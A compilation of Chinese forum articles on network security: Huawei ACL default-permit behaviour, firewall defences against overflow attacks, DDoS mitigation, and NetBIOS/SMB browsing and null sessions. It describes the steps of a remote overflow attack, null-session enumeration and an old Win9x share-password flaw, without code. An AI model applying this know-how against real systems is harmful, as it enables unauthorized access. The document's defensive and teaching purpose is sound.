作者:atdent 来源:bbs.tech.ccidnet.

大家都知道通过在路由器或交换机上设置访问控制列表ACL,可以在一定程度上起到提高安全,防范黑客与病毒攻击的效果,笔者所在公司也一直在使用这个方法。

然而,笔者却在实际工作中发现了一个影响安全的问题,如果对路由器的默认设置不注意的话,很可能会让强大的ACL列表失效,就好比二战的马其诺防线一样,病毒与黑客可以非常轻松地绕道攻击内网计算机。

安全分析:

有过路由器配置经验的读者应该知道网络管理员经常通过在路由器或交换机上设置访问控制列表来完成防范病毒和黑客的作用。Cisco出品的路由器或交换机的访问控制列表都默认在结尾添加了“DENY ANY ANY”语句,这句话的意思是将所有不符合访问控制列表(ACL)语句设定规则的数据包丢弃。

最近笔者所在公司添置了华为的2621系列路由器,一般情况下CISCO和华为设备的配置方法基本相同,所以笔者按照在Cisco路由器上的设置语句制定了ACL规则,并将这些规则输入到华为路由器上。由于CISCO默认自动添加DENY ANY ANY语句,所以笔者也想当然的认为华为路由器也会默认将这个命令添加。然而,在配置后却发现所有ACL过滤规则都没有生效,该过滤的数据包仍然被路由器正常转发。

经过反复研究、查询资料,笔者发现原来华为公司的访问控制列表在结尾处添加的是“PERMIT ANY ANY”语句,这样对于不符合访问控制列表(ACL)语句设定规则的数据包将容许通过,这样造成了一个严重后果,那就是不符合ACL设定规则的数据包也将被路由器无条件转发而不是Cisco公司采用的丢弃处理,这造成了该过滤的数据包没有被过滤,网内安全岌岌可危。非法数据包绕过了网络管理员精心设置的防病毒“马其诺防线”,从而轻而易举的侵入了用户的内网。

解决措施:

如何解决这个问题呢?这个问题是因为华为路由器的默认设置造成的。我们可以在ACL的最后添加上“DENY ANY ANY”语句或将默认的ACL结尾语句设置为DENY ANY ANY.头一种方法仅仅对当前设置的ACL生效,以后设置新ACL时路由器还是默认容许所有数据包通过;而第二种方法则将修改路由器的默认值,将其修改成和CISCO设备一样的默认阻止所有数据包。

1、ACL规则直接添加法

在华为设备上设置完所有ACL语句后再使用“rule deny ip source any destination any”将没有符合规则的数据包实施丢弃处理。

2.修改默认设置法

在华为设备上使用“firewall default deny”,将默认设置从容许转发变为丢弃数据包。从而一劳百逸的解决默认漏洞问题。因此笔者推荐大家使用第二种方法解决这个默认设置的缺陷问题。

总结:

经过这次“马其诺”事件,我们可以发现即使是相同的配置命令,如果厂商不同最好事先查阅一下用户手册(特别注意默认设置),往往默认设置会造成很多不明不白的故障。发现问题以后也不要轻易怀疑设备硬件有问题,应该多从软件及配置命令入手查找问题所在。一个小小的默认设置就将精心打造的防病毒体系完全突破,所以对于我们这些网络管理员来说每次设置后都应该仔细测试下网络状况,确保所实施的手段得以生效。

网络防火墙与防范溢出策略(解决方案)

网络防火墙与防范溢出策略(解决方案)

作者:那图 来源:bbs.tech.ccidnet.com

“溢出”一直以来都是很多黑帽子黑客最常用(或者说是最喜欢用)的手段之一,随安全文化的逐步普及,大量的公开shellcode(“溢出”代码)与溢出攻击原理都可以随意在各大的网络安全网站中找得到,由此衍生了一系列的安全隐患...小黑黑使用它们来进行非法的攻击、恶意程序员使用它们来制造蠕虫等等...而网络防火墙作为人们最喜欢的网络安全“设施”之一,它又能如何“拦截”这一类型的攻击呢?这就是今天小神与大伙一起讨论的问题了。

写这篇烂文时小神粗略地翻了一下CIW SP的教科书,5、6章节详细的介绍了防火墙的种类、作用、优略点等,但没有提出关于使用防火墙来进行溢出防御的文章,这是为什么呢?大概是因为这样吧:目前大多的防火墙系统都是针对包过滤规则进行安全防御的,这类型的防火墙再高也只能工作在传输层,而溢出程序的she llcode是放在应用层的,因此对这类攻击就无能为力了。打个比方:前段时间比较火热的IIS WEBDAV溢出漏洞,若黑客攻击成功能直接得到ROOTSHELL(命令行管理员控制台),它是在正常提供HTTP服务的情况下产生的溢出漏洞,若在不打补丁与手工处理的情况下一台防火墙又能做到什么呢?相信你除了把访问该服务器TCP80端口(提供正常地HTTP服务的情况下)的包过滤掉以外就什么都不会去做了,当然,这样也会使你的HTTP服务无法正常地开放(等于没有提供服务...)。下面就让小神以这个漏洞为“论点&&题材”,说说自己的解决方案吧。

1)对希望保护的主机实行“单独开放端口”访问控制策略所谓“单独开放端口”就是指只开放需要提供的端口,对于不需要提供服务的端口实行过滤策略。打个比方,现在我们需要保护一台存在WebDAV缺陷的WEB服务器,如何能令它不被骇客入侵呢?答案是:在这台WEB服务器的前端防火墙中加入一个“只允许其他机器访问此机的TCP80端口”的包过滤规则(至于阁下的防火墙能否

实现这样的规则就另当别论了)。加上这个规则又会有怎样的效果呢?经常做入侵渗透测试的朋友应该比我还清楚远程溢出的攻击实施流程了吧?

①使用缺陷扫描器找到存在远程溢出漏洞的主机-》②确认其版本号(如果有需要的话)-》③使用exploit(攻击程序)发送shellcode-》④确认远程溢出成功后使用NC或TELNET等程序连接被溢出主机的端口-》⑤得到SHELL

使用“单独开放端口”策略的解决方案对整个远程溢出过程所发生的前三步都是无能为力的,但来到第四步这个策略能有效地阻止骇客连上有缺陷主机的被溢出端口,从而切断了骇客的恶意攻击手段。

优点:操作简单,一般的网络/系统管理员就能完成相关的操作。

缺点:对溢出后使用端口复用进行控制的EXPLOITS就无能为力了;对现实中的溢出后得到反向连接控制的EP LOITS也是无能为力;不能阻止D.o.S方面的溢出攻击。

2)使用应用层防火墙系统

这里所谓的应用层并不是想特别指明该防火墙工作在应用层,而是想指明它能在应用层对数据进行处理。由于应用层的协议/服务种类比较多,因此针对应用层形式的防火墙就有一定的市场局限性了。就楼上所提到的案例而言我们可以使用处理HTTP协议的应用层防火墙对存在WebDAV缺陷的服务器订制保护规则,保证服务器不收此类攻击的影响。应用层中的HTTP协议防火墙系统不多,其中比较出名的有EEYE公司的SecureIIS,其使用方式就可谓是“弱智型”了,说说它的基本防御原理与特点吧。当服务端接受到一个发送至TCP80端口的数据包时首先就会将该包转移至SecureIIS,SecureIIS就会对该包进行分析并解码该包的应用层数据,将得到的数据与你本身定制的规则进行数据配对,一旦发现条件相符饿数值就会执行规则所指定的相应操作。

优点:能有效地切断一些来自应用层的攻击(如溢出、SQL注入等)。

缺点:因为需要安装在服务器上,所以会占用一定的系统资源;(eeye公司本身并无开发该软件的中文版本,所以一旦它受到POST行为发出的中文数据时就会自动认为是高位攻击代码,自动将其隔离,并进行相关的处理操作)。

楼上的两种解决方法我比较推崇第二种,但其实还是有第三种解决方案的(大家不要或我为某产品卖广告就好:)。

3)使用IDS功能的防火墙系统

现在国内自主开发的防火墙系统可谓是进入“白热化”了,什么百兆、千兆、2U、4U...性能参数的比较本已经日趋激烈了,再开始有不少厂商将技术重点转移在了“多功能”的方面上,在防火墙中继承IDS模块已经不是什么新鲜事了,使用这类产品可以达到监控应用层数据的效果。

优点:便于管理。

缺点:费用支出增大;长期需要人力资源对其进行管理与设施维护;防火墙上的IDS模块功能有限。

综合以上三种解决方案,希望有一种能为阁下提供反思的空间,也希望各位能为提出相应的建议与意见,谢谢各位,需要与我联系请EMAIL至demonalex[at]demonalex.net。

浅谈高手是如何针对DDos部署防御措施的
作者:离子翼.sun  来源:bbs.tech.ccidnet.com 

DDoS(Distributed Denial of Service,分布式拒绝服务)攻击的主要手段是通过大于管道处理能力的流量淹没管道或通过超过处理能力的任务使系统瘫痪,所以理论上只要攻击者能够获得比目标更强大的“动力”,目标是注定会被攻陷的。

对于DDoS攻击来说并没有100%有效的防御手段。但是由于攻击者必须付出比防御者大得多的资源和努力才能拥有这样的“动力”,所以只要我们更好的了解DDoS攻击,积极部署防御措施,还是能够在很大程度上缓解和抵御这类安全威胁的。

增强防御力

对抗DDoS攻击一个很重要的要素就是增强自身的防御能力。使用更大的带宽及提升相关设备的性能是面对DDoS攻击最直接的处理方法。虽然这必定需要耗用一定的资源,但是对于那些将生存寄托于这些在线系统的企业来说,进行这种投入是具备足够理由的。只是在执行这类“硬性增幅”的时候,我们需要把握适度的原则。

因为我们的资源是有限的,如果增加100%的投入仅能在相关性能及DDoS防御力上获得10%的提升,明显是一种得不偿失的处理方式,毕竟这并不是我们仅有的选择。而且攻击者的资源同样是有限的,在我们增加防御强度的同时,就意味着攻击者必须集合比原来多得多的攻击傀儡机来实施攻击,并且会提高攻击者暴露的风险。不过应该记住的是,真正有效的DDoS防御并不是陷入与攻击者“角力”的恶性循环当中,而是应该综合各种方法,为攻击者设置足够的障碍。

目标系统处理

攻击者的最终目标可能是一台主机,也可能是一台网络设备。除了对其目标的硬件能力进行增强之外,我们同样应该充分发挥系统自身的潜能,通过对目标系统的针对性处理,我们可以有效地放大现有资源的能量。最基本的任务是做好更新补丁的工作。特别是一些操作系统的通讯协议堆栈存在着问题,很容易成为拒绝服务攻击的利用对象。因为利用漏洞实施拒绝服务攻击相对于纯粹的设施能力比拼要容易的多。如果不能保证消除明显可被拒绝服务攻击利用的漏洞,其它的防御工作将只能成为摆设。

好在现在各类系统的补丁更新速度还是比较令人满意的,只要根据自身环境的情况注意对相关系统的补丁发布情况进行跟踪就可以了。一些经常被使用的方法还包括限制连接队列的长度以及减少处理延时等。前者可以缓解系统资源的耗尽,虽然不能完全避免“拒绝服务”的发生,但是至少在一定程度上降低了系统崩溃的可能性。而后者能够加强系统的处理能力,通过减少延时,我们可以以更快的速度抛弃队列里的等待的连接,而不是任其堆满队列;不过这种方法也不是在所有的情况下都有效,因为很多DDoS的攻击机制并不是建立在类似SYN Flood这样以畸形连接淹没队列的方式之上。

纵深防御

攻击者和目标通常并非直接相连,两者之间要经过很多网络节点才能进行通信。所以我们可以在受保护系统之前尽可能部署有效的屏障,以缓解系统的压力。设置屏障最主要的工具就是防火墙,先进的防火墙产品能够有效识别和处理数据包的深层内容,这样有助于我们设置更加细致的过滤。

现在有很多防火墙产品集成了反DDoS功能,进一步提高了对常见DDoS攻击包的识别能力。这样的产品可以在很大程度上增强DDoS防御能力,并且可以做到不对数据包进行完全检查就可以发现“恶意行为”。这是非常有帮助的能力,因为如果判断DDoS攻击所耗费的处理越少,就越不容易被耗尽处理能力,从而极大的增加攻击者的成本。包括很多路由器产品在内的网络设备都具备一些防火墙功能,我们应该尽可能充分的利用。

特别是路由器本身负责对数据流进行导向,应尽可能将其置于“前哨”位置。这样既可以起到御敌于千里之外的作用,又可以灵活地将攻击包导向到其它无害的位置甚至化攻击于虚无。当然,攻击者对这些防御层也会有或浅或深的体认,不会一味地以目标系统作为惟一的打击点,他们很可能会在受到这些设施的阻挠之后转而组织针对这些设施的攻击,这就需要我们动态的对防御设施进行调整,随机应变。

除了以上这些基础的方法和工具之外,还有一些更高级的技巧可以利用,例如我们可以进行冗余设计,以在系统瘫痪于攻击发生时有可以随时启用的应急机制;也可以部署一些陷阱部件,既可以用于吸引攻击流量,也可以对攻击者起到一定的迷惑作用。

知己者胜

其实在对我们进行安全防御时,最重要的因素之一是对系统的透彻了解。例如我们必须清楚地知道系统对外开放了哪些服务,哪些访问是被禁止的。同时,当有DDoS攻击迹象发生的时候,我们也应该很好地判断攻击利用了系统的哪些处理机制。虽然我们已经听过无数人无数次的重复“关闭不必要服务”,但显然其重要性仍未被充分认知。

有时一个端口没有开放我们就认为其处于安全状态,其实事实并非如此。很多时候,一些关闭的端口由于设计上的原因仍会响应某些查询,这一点经常被DDoS攻击所利用。攻击者通过向这些看似沉睡的端口发送海量的查询耗尽目标系统的资源从而达到自己的目的。我们经常利用一个称为Shields UP!!的基于Web接口的工具检查端口的真实状态,我们可以从http://www.grc.com/找到该工具的登入接口。

我们在一台联网的工作站上登录其页面并执行All Service Ports检测,返回的结果页会列出从0到1055端口状态的方格图,绿色的小块儿表示该端口处于安全的隐秘(Stealth)状态,将不会对外界做出任何响应。如果小块儿是代表危险的红色,说明该端口处于开放状态。而如果小块儿是蓝色的话,说明该端口处于关闭状态,虽然大部分程序无法使用这些端口,但不代表其绝对安全。通过类似的工具我们可以更透彻的了解我们暴露在网络上的都是什么,也才能进行真正有效的处理,同时不会忽视存在的隐患。

全面解析有关网上邻居的内幕

热点话题:全面解析有关网上邻居的内幕

作者:kerry 来源:赛迪网

有关网上邻居的问题,问的人一直比较多,在理解上存在的误区也普遍较为严重。鉴于Microsoft的NETBIOS文档不是很细致,我四处收集了一些相关资料加上自己的实践经验写了这个系列,希望能对大家有所帮助.

本来想为了增加可读性,把这个系列写成问答的形式,不过一时之间脑袋里也编不出这么多的问题,还是按部就班先感性的对微软的浏览服务作一大致介绍,然后再深入剖析NETBIOS的具体工作机理,大家要是有什么问题,可以提出来我们一起讨论.

***微软网络浏览过程简介***

在“Windows NT系统管理技术内幕”一书中,讲到了一个非常具有代表性的问题,我把它摘抄了下来:

问:什么情况下会导致在网络邻居中计算机能看见却无法访问或可以访问却看不见?请选择最佳答案: A.你的网络存在物理问题,比如网线 B.作为域主浏览器的Windows NTserver的浏览服务坏了 C.Windows NTserver网卡有问题 D.你的网络没有问题,用户描述的是正常的微软浏览现象

正确答案:D

书上的解释:微软的网络浏览可能在使用中出现"中断",而实际上它们并没有中断, 这种误解是由于用户对微软网络浏览的处理过程不熟悉造成的。

就象同学们经常在抱怨的“为什么别人的网上邻居可以用,我的却不行?”“为什么有时候可以浏览,有时候却无法浏览网络?”解铃还须系铃人,让我们一起去看看微软的网络浏览到底是如何实现的。鉴于大家可能对NT的“域”概念还不甚了解,出现浏览故障的也多为98的机子,我将以98的“工作组模式”为大家讲解。

1.什么是浏览列表(Browsing List) 在微软网络中,用户可以在浏览列表里看到整个网络(何指?子网还是广播域?大家可以考虑考虑)上所有的计算机。当你通过网上邻居窗口打开整个网络时,你将看到一个工作组列表,再打开某个工作组,你将看到里面的计算机列表(也可在 DOS方式下用net view /domain:workgroupname命令得到),这就是我们所说的 Browsing List。工作组从本质上说就是共享一个浏览列表的一组计算机,所有的工作组之间都是对等的,没有规定不可以让所有的计算机同处于一个工作组中。

2.浏览列表在哪里 曾在木棉上看到过一场争论,有人说:网上邻居里的计算机列表是广播查询得来的。可有人举反例说:我的同学都关机了,可我还是能在网上邻居里看到它,应该是从HUB或交换机之类较为固定的设备的缓存中取得的。 其实他们都只说对了一个方面,把他们二人的说法结合起来就是正确答案了--- 浏览列表是通过广播查询浏览主控服务器,由浏览主控服务器提供的。

3.浏览主控服务器又是什么 浏览主控服务器是工作组中的一台最为重要的计算机,它负责维护本工作组中的浏览列表及指定其他工作组的主控服务器列表,为本工作组的其他计算机和其他来访本工作组的计算机提供浏览服务,每个工作组都为会每个传输协议选择一个浏览主控服务器,而我们经常遇到的无法浏览网络的错误大多是因为你所处的工作组没有浏览主控服务器而造成的。你可以在一个工作组中用NBTSTAT -a computername 命令找出使用NBT协议的浏览主控服务器,它的标识是含有_MSBROWSE_ 名字段。

4.浏览主控服务器是如何指定的 缺省情况下,win98工作组中的浏览主控服务器是该工作组中第一台启用文件及打印机共享功能的计算机,也允许手工将一台win计算机配置为浏览主控服务器(方法会在后面讲述网络配置时具体介绍,但由于浏览主控服务器需要维护动态浏览列表,性能会受影响),如果一个工作组中有多台计算机配置了这个选项,或是当前的浏览主控服务器关闭了系统,又没有其他计算机启用主控设置时,就要进行主控浏览器的选举。

5.如何通过浏览器选举产生浏览主控服务器 关于浏览器的选举报文,不太好抓包,我就只好按书上的东西来讲述了.其实过程很简单,首先由一台计算机发送一个选举临界报文,该报文包含了来自发送计算机的信息(操作系统,版本及NET名等),选举报文向网络中广播,工作组中的每一台计算机都会用自身信息与选举报文进行优先级比较,主要是操作系统起主要作用,记得好像是NT Server>NT Workstation>Win98>WFWG,反正到最后是那个自身条件最好的成为新的浏览主控服务器.

6.整个网络浏览的过程是怎样的 当一台win98进入网络时,如果它带有服务器服务(启用了文件及打印机共享)会向网络广播宣告自己的存在,而浏览主控服务器会取得这个宣告并将它放入自己维护的浏览列表中;而没有在相应协议上绑定文件及打印机共享的计算机则不会宣告,因而也就不会出现在网络邻居里了。当客户计算机想获得需要的网络资源列表时,首先会广播发出浏览请求,浏览主控服务器收到请求后,如果请求的是本组的浏览列表,则直接将客户所需的资源列表发回;如果请求的是其它工作组的浏览列表,浏览主控服务器会根据本身Browsing List中的记录找到相应工作组的主控浏览器返回给用户,用户可从那里得到它想要的浏览列表。至于如何去和另一台计算机共享交换资源,就不是我们这里要讨论的问题了。

明白了网络浏览的原理,下面我给大家讲一个有用的应用,现在很多同学出于安全的考虑都不太欢迎陌生人通过网上邻居访问自己的机子,可有时下部电影又需要给认识的同学共享出来,因而还不能删除文件及打印机共享服务。怎么办?有些人给共享名加个$,以达到隐藏的效果,可这用DOS下的net share是可被看到的;有些人给共享加上密码,可听说这也是有办法破解的,而且很容易激起“黑客同志”的好奇心。有没有办法将自己的机器在网络邻居里隐藏起来呢?而对于认识的同学可以让他用IP 来访问。

想对了,关键就是要阻止自己的机器向网络中去宣告自己,而且我知道我们其中的一些人已经将此变成了现实,至于方法嘛,就不要来问我了。

注:因为有关win98浏览服务的资料很少,涉及的书籍也多为以NT的“域”模型进 行介绍,因而我只能根据自己的理解结合netxray的实践来测试,细节部分难 免有错,欢迎大家指正。

7.在我的网上邻居里为什么有些机子访问不了 如果微软的网上邻居真能做到所见即所得,相信抱怨它的人不会象现在这么多,可通过前面对浏览服务的介绍,大家已经知道这是不可能的,因为浏览列表的获得不是通过访问其中每一台机子得到的,很多时候网络中的计算机并不能正确更新浏览列表。当一台计算机正常关机时,它会向网络发出广播宣告,使浏览主控服务器及时将它从浏览列表中删除;而非正常关机后,浏览列表里仍会把该条目保持很长一段时间(NT下是45分钟),这就是我们仍能在网络邻居里看到它的原因.而98的稳定性是众所周知的 ----在还没来得及关机前就已经崩溃了^-^

SMB(Server Message Block)协议在NT/2000中用来作文件共享,在NT中,SMB运行于NBT(NetBIOS over TCP/IP)上,使用137,139(UDP),139(TCP)端口。在2000中,SMB可以直接运行在tcp/ip上,而没有额外的NBT层,使用TCP 445端口。因此在2000上应该比NT稍微变化多一些。

可以在“网络连接/属性/TCPIP协议/属性/高级/WINS中设置启用或者禁用NBT(NetBIOS over TCP/IP)。

当2000使用网络共享的时候,就面临着选择139或者445端口了。下面的情况确定会话使用的端口:

1、如果客户端启用了NBT,那么连接的时候将同时访问139和445端口,如果从445端口得到回应,那么客户端将发送RST到139端口,终止这个端口的连接,接着就从445端口进行SMB的会话了;如果没有从445端口而是从139得到回应,那么就从139端口进行会话;如果没有得到任何回应,那么SMB会话失败。

2、如果客户端禁用了NBT,他就将只从445端口进行连接。当然如果服务器(开共享端)没有445端口进行SMB会话的话,那么就会访问失败了,所以禁用445端口后,对访问NT机器的共享会失败。

3、如果服务器端启用NBT,那么就同时监听UDP 137、138端口和TCP139,445。如果禁用NBT,那么就只监听445端口了。

所以对于2000来说,共享问题就不仅仅是139端口,445端口同样能够完成。

III、The NULL session,关于空会话

NULL会话(空会话)使用端口也同样遵循上面的规则。NULL会话是同服务器建立的无信任支持的会话。一个会话包含用户的认证信息,而NULL会话是没有用户的认证信息,也就好比是一个匿名的一样。

没有认证就不可能为系统建立安全通道,而建立安全通道也是双重的,第一,就是建立身份标志,第二就是建立一个临时会话密匙,双方才能用这个会话进行加密数据交换(比如RPC和COM的认证等级是PKT_PRIVACY)。不管是经过NTLM还是经过Kerberos认证的票据,终究是为会话创建一个包含用户信息的令牌。(这段来自Joe Finamore)根据WIN2000的访问控制模型,对于空会话同样需要提供一个令牌。但是空会话由于是没有经过认证的会话,所以令牌中不包含用户信息,因此,建立会话双方没有密匙的交换,这也不能让系统间发送加密信息。这并不表示空会话的令牌中不包含SID,对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话建立的SID,用户名是ANONYMOUS LOGON。这个用户名是可以在用户列表中看到的。但是是不能在SAM数据库中找到,属于系统内置的帐号。

(关于这部分对NULL SESSION的分析,可以参照:《NULL Sessions In NT/2000》http://rr.sans.org/win/null.php)

NULL会话几乎成为了微软自己安置的后门,但是微软为什么要来设置这样一个“后门”呢?我也一直在想这个问题,如果NULL会话没有什么重要的用途,那么微软也应该不会来设置这样一个东西。好不容易才在微软上找到这个:

当在多域环境中,要在多域中建立信任关系,首先需要找到域中的PDC来通过安全通道的密码验证,使用空会话能够非常容易地找到PDC,还有就是关于一些系统服务的问题。而且LMHOSTS的#Include就需要空会话的支持,可以参考文章:

http://support.microsoft.com/default.aspx?scid=kb;EN-US;q121281

还有http://support.microsoft.com/default.aspx?scid=kb;EN-US;q124184

其实建立一个空会话的条件也非常严格。首先要能够满足上面的,也就是打开TCP139和TCP 445端口。我们可以从一次关闭这两个端口的情况中看得出来。服务器关闭445和139端口,然后我们来进行空会话的连接。首先,客户端打算连接的是445端口,然后再试图连接139端口。当然最后还是失败了。

仅仅开放这两个端口还不行,服务器还必须得打开IPC$共享。如果没有IPC共享,即使共享一个文件,有权限为Anonymous Logon,也不能建立会话,即使权限设置为完全控制,出现的连接错误依然是权限不够。这和其他帐号是不一样的。如果要允许一个文件夹共享能够类似IPC$(命名管道而非共享)能够使用空会话,那么需要修改注册表:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters

中的:NullSessionShares,添加新的共享名,这样才能建立一个共享的空会话。这时,将不依赖IPC的存在了。(即使这样的空会话对于后面的突破也是一点没可取之处的,因为没有了IPC$命名管

道,RPC不可取了,这下知道IPC这个命名管道的具体实现了。呵呵)

虽然空会话建立的要求很严格,但是那都是默认建立的。既然是默认的,对于使用WIN2K系统的服务器来说,就还是有利用的价值。最明显的就是空会话可以很方便地连接到其他的域,枚举用户、机器等。这也就是扫描软件进行探测的原理。

1. > 有些人给共享名加个$,以达到隐藏的效果,可这用DOS下的net share是可被看到的;这种隐藏只是微软Windows标准客户端net view的限制,不是服务端的限制,网络传输过程中是一视同仁的,所以直接修改客户端解除这种限制或者使用第三方客户端软件均可看到所谓的隐藏共享,比如smbclient就是典型代表。而直接修改windows客户端的办法,99年袁哥贴过,我在华中Security版上转载过,精华区中还在。

2. > 有些人给共享加上密码,可听说这也是有办法破解的

这个破解要看是什么层面上的,纯暴力破解的就不必说了,那当然总是可以的。而95 98另有漏洞,袁哥发现的,就是他那个著名的vredir.vxd,服务端验证密码时所用长度居然是客户端提供的,这就意味着至多猜测256次(事实上没这么多,考虑可打印字符范围)即可进入。当初N多人用这种办法非法浏览别人的机器。2000年报告微软,现在已修补。

http://security.nsfocus.net/inde ... o=view&adv_id=6 顺便说一句,利用该漏洞可以快速穷举出原始口令,虽然在攻击中这是不必要的。

3. > 因而我只能根据自己的理解结合netxray的实践来测试,细节部分难 免有错,

推荐www.ethereal.com提供的Ethereal,这是我所见过的对SMB解码最强的免费软件,有Unix/Windows版,提供源码。

4. > 在2000中,SMB可以直接运行在tcp/ip上,而没有额外的NBT层,使用TCP 445端口。

因此在2000上应该比NT稍微变化多一些。

事实上正相反,在ssaxh_capabilities字段中指明不使用"扩展安全验证",此时使用原有身份验证机制,只需去掉NBT层的Session Request,将139/TCP改成445/TCP,一样可以成功建立空会话,并且成功打开"IPC$"。

至于更高层的RPC Over SMB,更是不必作任何变动。换句话说,从139/TCP换到445/TCP,整个通信过程中减少了一对NBT Session Request/Response,后面的报文对于两者来说是完全一致的。

而所谓的NBT层,即使在445通信中也未去掉,一直存在着,区别只是上面这段话。

5. > 如果客户端启用了NBT,那么连接的时候将同时访问139和445端口,

微软并没有让139/TCP与445/TCP公平竞争。发起连接的SYN包在宏观上是同时发出的,具体起来,有时是先向139/TCP发起连接请求,有时是先向445/TCP发起连接请求,有点随机性。

在向139/TCP发送三次握手的最后一个ACK报文时,Windows顺手携带了数据,这里以一个刻意弄错的NetBIOS名(*SMBSERV)做了一次NBT Session Request。而445/TCP不需要NBT层的会话。

由于刻意弄错的NetBIOS名,139/TCP很难竞争过445/TCP。服务端返回Negative NBT Session Response,并且执行了close()操作。这使得必须重新建立到139/TCP的连接(传输层的TCP连接)。

可以看出,那个刻意弄错的NetBIOS名仅仅是为了给445/TCP制造抢先的机会。遗憾的是,445/TCP不争气,这个端口上的任务繁重、负载较高,即使在这种不公平竞争的情况下,139/TCP仍有可能重新抢在445/TCP之前建立NBT会话(注意,不是TCP连接)。

于是445口会回送RST,后续SMB会话建立在139/TCP连接之上。

微软自己的操作系统不认"*SMBSERV",但是Samba Server 2.2.5认,居然返回Positive Session Response。这成为精确识别Samba Server的方法之一。

微软在>中不会提这些的,只是说139/TCP、445/TCP公平竞争,优先使用最早返回的响应报文。不要相信它的鬼话。

话说回来,如非需求所致,完全不必关心这种差别。有需求的时候,这种差别是致命的。

5. > 最明显的就是空会话可以很方便地连接到其他的域,枚举用户、机器等。这也就是

> 扫描软件进行探测的原理。

XP、2003缺省禁止在空会话上进行PolicyAccountDomainInformation查询,可以看到sarOpenPolicy2(44)失败,权限否定。如果事先指定有效帐号、口令建立SMB会话,而非空会话,LsarOpenPolicy2(44)将成功返回。

推广链接